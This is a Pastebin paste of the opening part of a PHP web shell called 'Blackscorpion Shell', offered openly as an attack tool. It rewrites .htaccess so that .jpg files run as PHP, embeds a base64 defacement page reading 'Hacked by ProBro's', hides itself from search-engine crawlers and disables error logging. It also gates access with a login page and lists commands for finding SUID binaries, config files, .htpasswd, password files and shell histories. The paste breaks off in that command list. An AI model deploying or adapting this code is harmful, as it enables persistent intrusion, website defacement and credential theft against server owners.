Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- ____ _ _ _
- | __ )| | __ _ ___| | _____ ___ ___ _ __ _ __ (_) ___ _ __
- | _ \| |/ _` |/ __| |/ / __|/ __/ _ \| '__| '_ \| |/ _ \| '_ \
- | |_) | | (_| | (__| <\__ \ (_| (_) | | | |_) | | (_) | | | |
- |____/|_|\__,_|\___|_|\_\___/\___\___/|_| | .__/|_|\___/|_| |_|
- |_|
- Shell coded by Blackscorpion
- Contact:andrewchris1337@gmail.com
- */
- @mkdir('BlackscorpionShell');
- $safe_mode = "QWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLXBocCAuanBnCg==";
- $mode = fopen(".htaccess","w+");
- $write = fwrite ($mode ,base64_decode($safe_mode));
- $auth_pass= "02cce9e28a5e94d01b691b733cd5106c"; //ultran00b
- $color = "#7effc5"; // For Changing Font Colors
- $default_charset = 'Windows-1251'; // For Changing Character Set Available Are
- background_image(); //Used to access Background image pak.jpg
- // UTF-8
- // Windows-1251
- // KOI8-R
- // KOI8-U
- // cp866
- // First Encode Your Deface Page to Base64
- $defacepage ='PGh0bWw+PGhlYWQ+PGxpbmsgcmVsPSJTSE9SVENVVCBJQ09OIiBocmVmPSJodHRwOi8vMy5icC5ibG9nc3BvdC5jb20vLTJndnotT2g1Nlk4L1VfSERiU0NLR2VJL0FBQUFBQUFBRTM0L0lWWENwRm1QekxjL3MxNjAwL1Bha2lzdGFuRmxhZ1dhbGxwYXBlci5qcGciPjx0aXRsZT4gSGFja2VkIEJ5IFByb0JybydzICZndDsmZ3Q7ICZsdDsmbHQ7PC90aXRsZT48ZW1iZWQgc3JjPSJodHRwczovL3d3dy55b3V0dWJlLmNvbS92L0VkRlVaZHJEUl84JiZhdXRvcGxheT0xIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd21vZGU9InRyYW5zcGFyZW50IiB3aWR0aD0iMSIgaGVpZ2h0PSIxIj48L2VtYmVkPjxzY3JpcHQ+YWxlcnQoIlByb0JybydzIFdhcyBUaGVyZSAsIFlvdSBBcmUgSGFja2VkIik8L3NjcmlwdD4NCjxtZXRhIG5hbWU9J2Rlc2NyaXB0aW9uJyBjb250ZW50PSdIYWNrZWQgQnkgNG5kcjN3IGFuZCA0MTN4IH4gR3JlZXR6OjogUjRCIU5EUjQgfiA0bmRyM3cgfiA0bmQgfiA0bDN4ICc+DQo8bWV0YSBuYW1lPSdIYWNrZWQgYnkgNG5kcjN3IDRuZCA0MTN4IFByb0JybydzIH4gVGhpbmsgRGFya2VyJz4gDQo8bWV0YSBodHRwLWVxdWl2PSdjb250ZW50LXR5cGUnIGNvbnRlbnQ9J3RleHQvaHRtbDtjaGFyc2V0PVVURi04Jz4NCjxtZXRhIG5hbWU9J2tleXdvcmRzJyBjb250ZW50PSdIYWNrZWQgYnkgNG5kcjN3IDRuZCA0MTN4LCBQcm9Ccm8ncywgU3BlY2lhbCBUaGFua3MgVG8gQUxJIEtIQU4gREVWSUwgS0lMTEVSLEJsYWNraWUgNG5kIDQxM3gsSGFja2VkIGJ5IFByb2JybydzLEhhY2tlZCBCeSA0bmRyM3csLDQxM3gsUHJvQnJvJ3MgV2FzIEhlcmUnPg0KPGxpbmsgcmVsPSdpY29uJyBocmVmPSdodHRwczovL3Njb250ZW50LmZpc2IzLTEuZm5hLmZiY2RuLm5ldC92L3QzMS4wLTgvMjYxMTQzNjRfMjgyOTIyNjI1NTY0NDAxXzU3MjY2MDY5NTE5NTI2ODAxMzhfby5wbmc/X25jX2V1aTI9djElM0FBZUctZWtCaEJSYWcwLXBPeEo1SmNxOVlUckJlV3NMNkpJX1VRWHZGemxDZ0tIbUQyS3d5LVZ4LWZaY1dsbjUyQXB0V3g0VGF6bjR0cXZJcUtzSmhKbENuel8tOGVvdGU3czloV3dySjU3Y1NFb2tXRkRRZXM0NTMxTnUwQU8zWU9rZyZvaD1lZDRlOTk1Mzk5NjM1MzQ0YWJiYTUwNDhiZjZhYzZmNyZvZT01QUM0N0NFQicgc2l6ZXM9JzE2eDE2Jz4gDQo8bWV0YSBjaGFyc2V0PSd1dGYtOCc+DQo8L3N0eWxlPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cDovL2NvZGUuanF1ZXJ5LmNvbS9qcXVlcnktMi4xLjEuanMiPjwvc2NyaXB0Pg0KPGxpbmsgaHJlZj0iaHR0cDovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9SWNlbGFuZCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPiANCmJvZHl7DQpiYWNrZ3JvdW5kOiAjRkZGRkZGOw0KZm9udC1mYW1pbHk6IHdpbmRzb25nOw0KZm9udC1zaXplOiAxMnB4Ow0KZm9udC13ZWlnaHQ6IGJvbGQ7DQpmb250LXNpemU6MTJweDsNCmZvbnQtc3R5bGU6IGJvbGQ7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPiANCiANCiAgICAgICAgdmFyIGNoYXJJbmRleCA9IC0xOw0KIA0KICAgICAgICB2YXIgc3RyaW5nTGVuZ3RoID0gMDsNCiANCiAgICAgICAgdmFyIGlucHV0VGV4dDsNCiANCiAgICAgICAgZnVuY3Rpb24gd3JpdGVDb250ZW50KGluaXQpDQogDQogICAgICAgIHsNCiANCiAgICAgICAgICBpZihpbml0KQ0KIA0KICAgICAgICAgIHsNCiANCiAgICAgICAgICAgIGlucHV0VGV4dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb250ZW50VG9Xcml0ZScpLmlubmVySFRNTDsNCiANCiAgICAgICAgICB9DQogDQogICAgICAgICAgaWYoY2hhckluZGV4PT0tMSkNCiANCiAgICAgICAgICB7DQogDQogICAgICAgICAgICBjaGFySW5kZXggPSAwOw0KIA0KICAgICAgICAgICAgc3RyaW5nTGVuZ3RoID0gaW5wdXRUZXh0Lmxlbmd0aDsNCiANCiAgICAgICAgICB9DQogDQogICAgICAgICAgdmFyIGluaXRTdHJpbmcgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbXlDb250ZW50JykuaW5uZXJIVE1MOw0KIA0KICAgICAgICAgIGluaXRTdHJpbmcgPSBpbml0U3RyaW5nLnJlcGxhY2UoLzxTUEFOLiokL2dpLCIiKTsNCiANCiANCiANCiAgICAgICAgICB2YXIgdGhlQ2hhciA9IGlucHV0VGV4dC5jaGFyQXQoY2hhckluZGV4KTsNCiANCiAgICAgICAgICB2YXIgbmV4dEZvdXJDaGFycyA9IGlucHV0VGV4dC5zdWJzdHIoY2hhckluZGV4LDQpOw0KIA0KICAgICAgICAgIGlmKG5leHRGb3VyQ2hhcnM9PSc8QlI+JyB8fCBuZXh0Rm91ckNoYXJzPT0nPGJyPicpDQogDQogICAgICAgICAgew0KIA0KICAgICAgICAgICAgdGhlQ2hhciAgPSAnPEJSPic7DQogDQogICAgICAgICAgICBjaGFySW5kZXgrPTM7DQogDQogICAgICAgICAgfQ0KIA0KICAgICAgICAgIGluaXRTdHJpbmcgPSBpbml0U3RyaW5nICsgdGhlQ2hhciArICI8U1BBTiBpZD0nYmxpbmsnPj48L1NQQU4+IjsNCiANCiAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbXlDb250ZW50JykuaW5uZXJIVE1MID0gaW5pdFN0cmluZzsNCiANCiANCiANCiAgICAgICAgICBjaGFySW5kZXggPSBjaGFySW5kZXgvMSArMTsNCiANCiAgICAgICAgICBpZihjaGFySW5kZXglMj09MSkNCiANCiAgICAgICAgICB7DQogDQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmxpbmsnKS5zdHlsZS5kaXNwbGF5PSdub25lJzsNCiANCiAgICAgICAgICB9DQogDQogICAgICAgICAgZWxzZQ0KIA0KICAgICAgICAgIHsNCiANCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdibGluaycpLnN0eWxlLmRpc3BsYXk9J2lubGluZSc7DQogDQogICAgICAgICAgfQ0KIA0KICAgICAgICAgIGlmKGNoYXJJbmRleDw9c3RyaW5nTGVuZ3RoKQ0KIA0KICAgICAgICAgIHsNCiANCiAgICAgICAgICAgIHNldFRpbWVvdXQoJ3dyaXRlQ29udGVudChmYWxzZSknLDEwMCk7DQogDQogICAgICAgICAgfQ0KIA0KICAgICAgICAgIGVsc2UNCiANCiAgICAgICAgICB7DQogDQogICAgICAgICAgICBibGlua1NwYW4oKTsNCiANCiAgICAgICAgICB9DQogDQogICAgICAgIH0NCiANCiAgICAgICAgdmFyIGN1cnJlbnRTdHlsZSA9ICdpbmxpbmUnOw0KIA0KICAgICAgICBmdW5jdGlvbiBibGlua1NwYW4oKQ0KIA0KICAgICAgICB7DQogDQogICAgICAgICAgaWYoY3VycmVudFN0eWxlPT0naW5saW5lJykNCiANCiAgICAgICAgICB7DQogDQogICAgICAgICAgICBjdXJyZW50U3R5bGU9J25vbmUnOw0KIA0KICAgICAgICAgIH0NCiANCiAgICAgICAgICBlbHNlDQogDQogICAgICAgICAgew0KIA0KICAgICAgICAgICAgY3VycmVudFN0eWxlPSdpbmxpbmUnOw0KIA0KICAgICAgICAgIH0NCiANCiAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmxpbmsnKS5zdHlsZS5kaXNwbGF5ID0gY3VycmVudFN0eWxlOw0KIA0KICAgICAgICAgIHNldFRpbWVvdXQoJ2JsaW5rU3BhbigpJyw0MDApOw0KIA0KICAgICAgICB9DQoNCiAgICAgICAgbXNnID0gIjw8IEhhY2tlZCBieSA0bmRyM3cgNG5kIDQxM3ggPj4iOw0KIA0KIA0KIA0KICAgICAgICBtc2cgPSAiICIgKyBtc2c7cG9zID0gMDsNCiANCiAgICAgICAgZnVuY3Rpb24gc2Nyb2xsTVNHKCkNCiANCiAgICAgICAgew0KIA0KICAgICAgICAgIGRvY3VtZW50LnRpdGxlID0gbXNnLnN1YnN0cmluZyhwb3MsIG1zZy5sZW5ndGgpICsgbXNnLnN1YnN0cmluZygwLCBwb3MpOw0KIA0KICAgICAgICAgIHBvcysrOw0KIA0KICAgICAgICAgIGlmIChwb3MgPiAgbXNnLmxlbmd0aCkgcG9zID0gMA0KIA0KICAgICAgICAgIHdpbmRvdy5zZXRUaW1lb3V0KCJzY3JvbGxNU0coKSIsMTAwKTsNCiANCiAgICAgICAgfQ0KIA0KICAgICAgICBzY3JvbGxNU0coKTsNCiANCiAgICAgIDwvc2NyaXB0Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KDQpmdW5jdGlvbiBtaXNjaGFuZGxlcigpew0KcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBtb3VzZWhhbmRsZXIoZSl7DQp2YXIgbXlldmVudCA9IChpc05TKSA/IGUgOiBldmVudDsNCnZhciBldmVudGJ1dHRvbiA9IChpc05TKSA/IG15ZXZlbnQud2hpY2ggOiBteWV2ZW50LmJ1dHRvbjsNCmlmKChldmVudGJ1dHRvbj09Mil8fChldmVudGJ1dHRvbj09MykpIHJldHVybiBmYWxzZTsNCn0NCmRvY3VtZW50Lm9uY29udGV4dG1lbnUgPSBtaXNjaGFuZGxlcjsNCmRvY3VtZW50Lm9ubW91c2Vkb3duID0gbW91c2VoYW5kbGVyOw0KZG9jdW1lbnQub25tb3VzZXVwID0gbW91c2VoYW5kbGVyOw0KdmFyIGlzQ3RybCA9IGZhbHNlOw0KICAgIGRvY3VtZW50Lm9ua2V5dXA9ZnVuY3Rpb24oZSkNCiAgICB7DQogICAgaWYoZS53aGljaCA9PSAxNykNCiAgICBpc0N0cmw9ZmFsc2U7DQogICAgfQ0KDQogICAgZG9jdW1lbnQub25rZXlkb3duPWZ1bmN0aW9uKGUpDQogICAgew0KICAgIGlmKGUud2hpY2ggPT0gMTcpDQogICAgaXNDdHJsPXRydWU7DQogICAgaWYoKGUud2hpY2ggPT0gODUpIHx8IChlLndoaWNoID09IDY3KSAmJiBpc0N0cmwgPT0gdHJ1ZSkNCiAgICB7DQogICAgLy8gYWxlcnQoJiM4MjE2O0tleWJvYXJkIHNob3J0Y3V0cyBhcmUgY29vbCEmIzgyMTc7KTsNCiAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KICAgIH0NCg0KDQo8L3NjcmlwdD4NCjxzdHlsZT4NCip7bWFyZ2luOiAwOyBwYWRkaW5nOiAwO30NCmJvZHkge2JhY2tncm91bmQ6ICMwMDAwMDA7IHNjcm9sbGJhci10cmFjay1jb2xvcjogIzAwMDAwMDtzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogIzAwMDAwMDsgc2Nyb2xsYmFyLWZhY2UtY29sb3I6ICMwMDAwMDA7IHNjcm9sbGJhci1zaGFkb3ctY29sb3I6ICNGRkZGRkY7IHNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6ICNGRkZGRkY7IHNjcm9sbGJhci0zZGxpZ2h0LWNvbG9yOiAjMDAwMDAwOyAgc2Nyb2xsYmFyLWFycm93LWNvbG9yOiAjRkZGRkZGOyBjb2xvcjojOEU5NTlFIH0NCi5uYW1lIHsgdGV4dC1kZWNvcmF0aW9uOiBub25lO30NCkAtbW96LWtleWZyYW1lcyByb2xsIHsgMTAwJSB7IC1tb3otdHJhbnNmb3JtOiByb3RhdGUoMTQ0MGRlZyk7IH0gfQ0KQC1vLWtleWZyYW1lcyByb2xsIHsgMTAwJSB7IC1vLXRyYW5zZm9ybTogcm90YXRlKDE0NDBkZWcpOyB9IH0NCkAtd2Via2l0LWtleWZyYW1lcyByb2xsIHsgMTAwJSB7IC13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMTQ0MGRlZyk7IH0gfQ0KYm9keXstbW96LWFuaW1hdGlvbi1uYW1lOiByb2xsOw0KLW1vei1hbmltYXRpb24tZHVyYXRpb246IDZzOw0KLW1vei1hbmltYXRpb24taXRlcmF0aW9uLWNvdW50OiAxOw0KLW8tYW5pbWF0aW9uLW5hbWU6IHJvbGw7DQotby1hbmltYXRpb24tZHVyYXRpb246IDZzOw0KLW8tYW5pbWF0aW9uLWl0ZXJhdGlvbi1jb3VudDogMTsNCi13ZWJraXQtYW5pbWF0aW9uLW5hbWU6IHJvbGw7DQotd2Via2l0LWFuaW1hdGlvbi1kdXJhdGlvbjogNXM7DQotd2Via2l0LWFuaW1hdGlvbi1pdGVyYXRpb24tY291bnQ6IDE7fQ0KPC9zdHlsZT4NCjxzY3JpcHQ+DQpmdW5jdGlvbiBkZXRhaWxzKCkge3dpbmRvdy5vcGVuKCIiKTt3aW5kb3cub3BlbigiIik7fTwvc2NyaXB0Pg0KDQo8YnI+PGJyPjxicj4NCg0KPHAgYWxpZ249ImNlbnRlciI+PGltZyBzcmM9Imh0dHBzOi8vc2NvbnRlbnQuZmlzYjMtMS5mbmEuZmJjZG4ubmV0L3YvdDEuMC05LzI0OTA5ODk2XzE4OTY3MDIzMTU4MjgyMl81NjU1MDQzNjYwNDQ3NjExOTQwX24uanBnP19uY19ldWkyPXYxJTNBQWVIMmFhTkhxVVRXcEZ3S0N1QzNPTU13dW1yVXhDY1BmeHBUdkQwSlB3Z3d1Q1VZTjVwX20tWEYzdHFiNEJzYmM0VUREdF9VOWg3U3NyZ2ZGSGFRd2owdkwxMDR0TEFMcEpvMTdyM0N2YUlQZ2RhcHF4bUx6Wl9pNVBJd2hOOWNhR2cmb2g9ZTY1NmUwOGY1MmMwYTE1NmVhNjljOWEyODk5N2I0MWImb2U9NUFGNUUwOEIiIHdpZHRoPSJhdXRvIiBoZWlnaHQ9IjMwMHB4Ij48L3A+DQo8YnI+PGJyPjxicj48YnI+PGJyPg0KPGNlbnRlcj4NCgkJCSA8Zm9udCBmYWNlPSJJY2VsYW5kIiBzaXplPSIxMDAiIGNvbG9yPSJncmVlbiI+DQoJCQkgPG1hcnF1ZWUgZGlyZWN0aW9uPSJsZWZ0IiBzY3JvbGxhbW91bnQ9IjE1IiBzY3JvbGxkZWxheT0iMTAwIiB3aWR0aD0iOTglIiBzdHlsZT0id2lkdGg6IDk4JTsiPg0KCQkJIDxoMT4gSGFja2VkIGJ5IDxzdHJvbmc+IFByPGZvbnQgY29sb3I9InJlZCI+bzwvZm9udD5Ccm8nczwvc3Ryb25nPjwvaDE+DQoJCQkgPC9tYXJxdWVlPg0KCQkJIDwvZm9udD4NCjwvY2VudGVyPg0KPGJyPjxicj48YnI+DQo8Y2VudGVyPjxmb250IGZhY2U9IkljZWxhbmQiIGNvbG9yPSJncmVlbiIgc2l6ZT0iMTIiPlByb0JybydzDQo8YnI+VGhpbmsgRGVlcGVyIDxmb250IGNvbG9yPSJyZWQiPlRoaW5rIERhcmtlcjwvZm9udD4gSGFja2VkIGJ5IEJsYWNrU2NvcnAgKDRuZHIzdykNCg0KPGJyPjxicj48YnI+PGJyPldlIERlZmVuZCAsIDxmb250IGNvbG9yPSJyZWQiPnx8PC9mb250PiBXZSBSZXZlbmdlLA0KPGJyPjxmb250IGNvbG9yPSJyZWQiIHNpemU9IjYiPsKpPC9mb250PiA8Zm9udCBjb2xvcj0iZ3JlZW4iIHNpemU9IjEyIj4gUHJvQnJvJ3M8Zm9udCBjb2xvcj0icmVkIj5IYWNrZXJzIDwvZm9udD4gQXJlIE5vdyBJbiBBY3Rpb248Zm9udCBjb2xvcj0iZ3JlZW4iPjwvZm9udD48YnI+PGJyPg0KDQo8Zm9udCBjb2xvcj0iZ3JlZW4iIHNpemU9IjYiPjxmb250IGNvbG9yPSJyZWQiPiM8L2ZvbnQ+VGVhbSA6DQo8YnI+PC9mb250PiBCbGFjayBTY29ycCA8Zm9udCBjb2xvcj0icmVkIj48L2ZvbnQ+ICA8Zm9udCBjb2xvcj0icmVkIj58fDwvZm9udD5TMDcwX0g0WDBSIHx8PGZvbnQgY29sb3I9InJlZCI+PC9mb250PiA0bDN4ICB8fDxmb250IGNvbG9yPSJyZWQiPjwvZm9udD4NCjxicj48Zm9udCBjb2xvcj0icmVkIj58fDwvZm9udD5TdWRpIHx8PGZvbnQgY29sb3I9InJlZCI+fHw8L2ZvbnQ+IEZyb3N0Qnl0ZSA8Zm9udCBjb2xvcj0icmVkIj58fDwvZm9udD5TaGsgVjNuMG08Zm9udCBjb2xvcj0icmVkIj58fDwvZm9udD4gU3BlY2lhbCBUaGFua3MgdG8gRGV2aWwgS2lsbGVyIDxmb250IGNvbG9yPSJyZWQiPnx8PC9mb250PiBBbGwgUHJvQnJvJ3MgVGVhbQ0KPGJyPiA8Zm9udCBjb2xvcj0icmVkIj48L2ZvbnQ+IA0KPGJyPjxmb250IGNvbG9yPSJyZWQiPiM8L2ZvbnQ+UHJvQnJvJ3MgSW4gQ29vbCBBY3Rpb24NCjxicj48Zm9udCBjb2xvcj0icmVkIj4jPC9mb250PkNvbnRhY3QgOiBodHRwczovL2ZhY2Vib29rLmNvbS88Zm9udCBjb2xvcj0icmVkIj5wcm88L2ZvbnQ+YnJvc3g8L2ZvbnQ+DQo8YnI+PGJyPjxicj4NCg0KDQo8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBzaXplPSI2IiBmYWNlPSJJY2VsYW5kIiBjb2xvcj0iY2MwMDAwIj48Zm9udCBjb2xvcj0id2hpdGUiPiAgICA8aW1nIHdpZHRoPSI3MDAiIGhlaWdodD0iOCIgYm9yZGVyPSIwIiBhbHQ9IiIgc3JjPSJodHRwOi8vd3d3Ni4wenowLmNvbS8yMDExLzAzLzE0LzA2LzI2OTIwNTk1Ny5naWYiPjxicj4NCjwvZm9udD48Zm9udCBzdHlsZT0iZm9udC1zaXplOiAxMXB0Ij48Zm9udCBmYWNlPSJJY2VsYW5kIiBjb2xvcj0iRjBGOEZGICI+ICAgPC9mb250Pjxmb250IGZhY2U9IkljZWxhbmQiIGNvbG9yPSJ3aGl0ZSI+IDwvZm9udD4gICA8bWFycXVlZSB3aWR0aD0iNTAlIiBiZWhhdmlvcj0ic2Nyb2xsIiBkaXJlY3Rpb249ImxlZnQiIHNjcm9sbGFtb3VudD0iMiIgc2Nyb2xsZGVsYXk9IjIwIiBzdHlsZT0id2lkdGg6IDUwJTsiPg0KPGZvbnQgY29sb3I9ImdyZWVuIj48L2ZvbnQ+PGgxPjxmb250IGNvbG9yPSJncmVlbiI+fHw8L2ZvbnQ+IFByb0JybydzIC0gPGZvbnQgY29sb3I9ImdyZWVuIj53YXMgPC9mb250PlRoPGZvbnQgY29sb3I9ImdyZWVuIj5lcmU8L2ZvbnQ+IC4gWW91IEFyZSBTdGFtcGVkPGZvbnQgY29sb3I9ImdyZWVuIj58fDwvZm9udD48L2gxPjwvbWFycXVlZT4NCjxpbWcgd2lkdGg9IjcwMCIgaGVpZ2h0PSI4IiBib3JkZXI9IjAiIGFsdD0iIiBzcmM9Imh0dHA6Ly93d3c2LjB6ejAuY29tLzIwMTEvMDMvMTQvMDYvMjY5MjA1OTU3LmdpZiI+PGJyPg0KPC9mb250PjwvZm9udD48L3A+DQo8YnI+DQoNCg0KDQo8L2ZvbnQ+PC9jZW50ZXI+PC9mb250PjwvYm9keT48L2h0bWw+';
- $default_action = 'FilesMan';
- $default_use_ajax = true;
- if(!empty($_SERVER['HTTP_USER_AGENT'])) {
- $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
- if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
- header('HTTP/1.0 404 Not Found');
- exit;
- }
- }
- @ini_set('error_log',NULL);
- @ini_set('log_errors',0);
- @ini_set('max_execution_time',0);
- @set_time_limit(0);
- @define('Blackscorpion Shell');
- if(get_magic_quotes_gpc()) {
- function Blackscorpionstripslashes($array) {
- return is_array($array) ? array_map('Blackscorpionstripslashes', $array) : stripslashes($array);
- }
- $_POST = Blackscorpionstripslashes($_POST);
- $_COOKIE = Blackscorpionstripslashes($_COOKIE);
- }
- function Blackscorpion() {
- die ('<!DOCTYPE html>
- <html>
- <head>
- <title>BlackScorpion Shell</title>
- <meta charset="UTF-8">
- <meta http-equiv="refresh" content="">
- <meta name="description" content="Sites description">
- <meta name="about" content="Made By BlackScorpion">
- <meta charset=\"UTF-8\" />
- <meta name="description" content="Blackscorpion Shell" />
- <meta name=\"location\" content=\"Hacked By Black Scorpion\" />
- <meta http-equiv=\"refres\" content=\"1800\">
- <meta name=\"working\" content=\"Hacked By Black Scorpion\" />
- <meta name=\"about\" content=\"Hacked By Black Scorpion\" />
- <meta name=\"author\" content=\"Black Scorpion\" />
- <meta name=\"keywords\" content=\"Hacked,Hacked By Black Scorpion,4ndr3w,Hacked By Black Scorpion,Hacked By Black Scorpion\" />
- <meta name=\"revisit-after\" content=\1800\" />
- <meta name=\"languag\" content=\"en\" />
- <meta content=\'general\' name=\'rating\' />
- <meta content=\'google\' name=\'generator\' />
- <meta content=\'follow,all\' name=\'msnbot\' />
- <meta content=\'follow,all\' name=\'alexabot\' />
- <meta content=\'pakistan\' name=\'geo.placename\' />
- <meta content=\"index,follow,all\" name=\"googlebot\" />
- <meta http-equiv=\"X-UA-Compatible\" content=\"IE-edge\" />
- <link rel=\"SHORTCUT ICON\" href=\"https://scontent.fisb3-1.fna.fbcdn.net/v/t31.0-8/26114364_282922625564401_5726606951952680138_o.png?_nc_cat=0&_nc_eui2=AeGexq8pdb-rOQQnrfw8JqATyRVcjYSc8O6NOPMv3P27boKX9PPKyDG7eCXEBDEugMVoYfsZ0djtBVwoFMA7WTUK6OgIfsSlV4U3MDEtWzPgUUyqYQrZ7gqtDn_EfKy6nV0&oh=45d478e8fd979afdd0df196e924c48c4&oe=5B8A3DEB\" />
- <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />
- <meta name=\'search engines\' content=\'Aeiwi,Alexa,AllTheWeb,AltaVista,AOLNetfind,Anzwers,Canada,DirectHit,EuroSeek,Excite,Overture,Go,Google,HotBot InfoMak,Kanoodle,Lycos,MachineSite,National Directory,Northern Light,SearchIt,SimpleSearch,WebsMostLinked,WebTop,What-U-Seek,AOL,Yahoo,WebCrawler,Infoseek,Excite,Magellan,LookSmart,bing,CNET,Googlebot\' />
- <meta name=\"description\" content=\"Blackscorpion Shell\">
- <style>
- body{
- background-image: url(https://images.sftcdn.net/images/t_optimized,f_auto/p/f7751068-96d2-11e6-9f6b-00163ec9f5fa/1554209287/hacker-simulator-screenshot.jpg);
- background-color: #080510;
- background-size:cover;
- }
- body{cursor: url(""), auto;}
- input{
- text-shadow: #777777 0px 0px 3px;
- border: 1px solid #007700;
- box-shadow: 0px 0px 4px #007700;
- color: #009900;
- text-align:center;
- border-top:1px solid #007700;
- border-left:1px solid #007700;
- border-bottom:1px solid #007700;
- border-right:1px solid #007700;
- background:transparent;
- }
- input:hover{
- transition-duration:0.5s;
- -o-transition-duration:0.5s;
- -moz-transition-duration:0.5s;
- -webkit-transition-duration:0.5s;
- border-style:dashed;
- }
- #forbid{
- display:none;
- }
- table{
- margin-top:25px;
- }
- </style>
- <script language="JavaScript1.2">
- function ejs_nodroit(){
- alert("Login Please!");
- return(false);
- }
- document.oncontextmenu = ejs_nodroit;
- </script>
- </head>
- <body class="body">
- <center>
- <form method="post">
- <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
- <table title="BlackScorpion Shell">
- <tr><td colspan=2><h1 style="color:red;text-shadow:2px 3px 5px #fff;"><center><font color="green" />[=> Blacksco</font><font color="white" />rpion Shell <=]</font></h1><br><font color=white> <center><font color="red" /></font></font></td></tr>
- <tr><td><font color=#007700 size=5 face=courier new> Username :</font></td><td>
- <input type="text" value="blackscorpion" disabled></td></tr>
- <tr><td><font color=#007700 size=5 face=courier new>Password :</font></td><td>
- <input type="password" name="pass" ></td></tr>
- <tr><td colspan=2><input type="submit" value="login!" style="width:100%;color:white;"></td></tr>
- </table>
- </div>
- </body>
- </html>');
- }
- function BlackscorpionsetCoockie($k, $v) {
- $_COOKIE[$k] = $v;
- setcookie($k, $v);
- }
- if(!empty($auth_pass)) {
- if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
- BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']), $auth_pass);
- if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
- Blackscorpion();
- }
- if(strtolower(substr(PHP_OS,0,3)) == "win")
- $os = 'win';
- else
- $os = 'nix';
- $safe_mode = @ini_get('safe_mode');
- if(!$safe_mode)
- error_reporting(0);
- $disable_functions = @ini_get('disable_functions');
- $home_cwd = @getcwd();
- if(isset($_POST['c']))
- @chdir($_POST['c']);
- $cwd = @getcwd();
- if($os == 'win') {
- $home_cwd = str_replace("\\", "/", $home_cwd);
- $cwd = str_replace("\\", "/", $cwd);
- }
- if($cwd[strlen($cwd)-1] != '/')
- $cwd .= '/';
- if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
- $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
- if($os == 'win')
- $aliases = array(
- "List Directory" => "dir",
- "Find index.php in current dir" => "dir /s /w /b index.php",
- "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
- "Show active connections" => "netstat -an",
- "Show running services" => "net start",
- "User accounts" => "net user",
- "Show computers" => "net view",
- "ARP Table" => "arp -a",
- "IP Configuration" => "ipconfig /all"
- );
- else
- $aliases = array(
- "List dir" => "ls -lha",
- "list file attributes on a Linux second extended file system" => "lsattr -va",
- "show opened ports" => "netstat -an | grep -i listen",
- "process status" => "ps aux",
- "Find" => "",
- "find suid" => "find / -type f -perm -04000 -ls",
- "find suid in current dir" => "find . -type f -perm -04000 -ls",
- "find sgid" => "find / -type f -perm -02000 -ls",
- "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
- "find config.inc.php" => "find / -type f -name config.inc.php",
- "find config*" => "find / -type f -name \"config*\"",
- "find config* in current dir" => "find . -type f -name \"config*\"",
- "find writable folders and files" => "find / -perm -2 -ls",
- "find writable folders and files in current dir" => "find . -perm -2 -ls",
- "find service.pwd" => "find / -type f -name service.pwd",
- "find service.pwd files in current dir" => "find . -type f -name service.pwd",
- "find .htpasswd" => "find / -type f -name .htpasswd",
- "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
- "find .bash_history" => "find / -type f -name .bash_history",
- "find .bash_history files in current dir" => "find . -type f -name .bash_history",
- "find .fetchmailrc" => "find / -type f -name .fetchmailrc",
- "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
- "Locate" => "",
- "locate httpd.conf" => "locate httpd.conf",
- "locate vhosts.conf" => "locate vhosts.conf",
- "locate proftpd.conf" => "locate proftpd.conf",
- "locate psybnc.conf" => "locate psybnc.conf",
- "locate my.conf" => "locate my.conf",
- "locate admin.php" =>"locate admin.php",
- "locate cfg.php" => "locate cfg.php",
- "locate conf.php" => "locate conf.php",
- "locate config.dat" => "locate config.dat",
- "locate config.php" => "locate config.php",
- "locate config.inc" => "locate config.inc",
- "locate config.inc.php" => "locate config.inc.php",
- "locate config.default.php" => "locate config.default.php",
- "locate config*" => "locate config",
- "locate .conf"=>"locate '.conf'",
- "locate .pwd" => "locate '.pwd'",
- "locate .sql" => "locate '.sql'",
- "locate .htpasswd" => "locate '.htpasswd'",
- "locate .bash_history" => "locate '.bash_history'",
- "locate .mysql_history" => "locate '.mysql_history'",
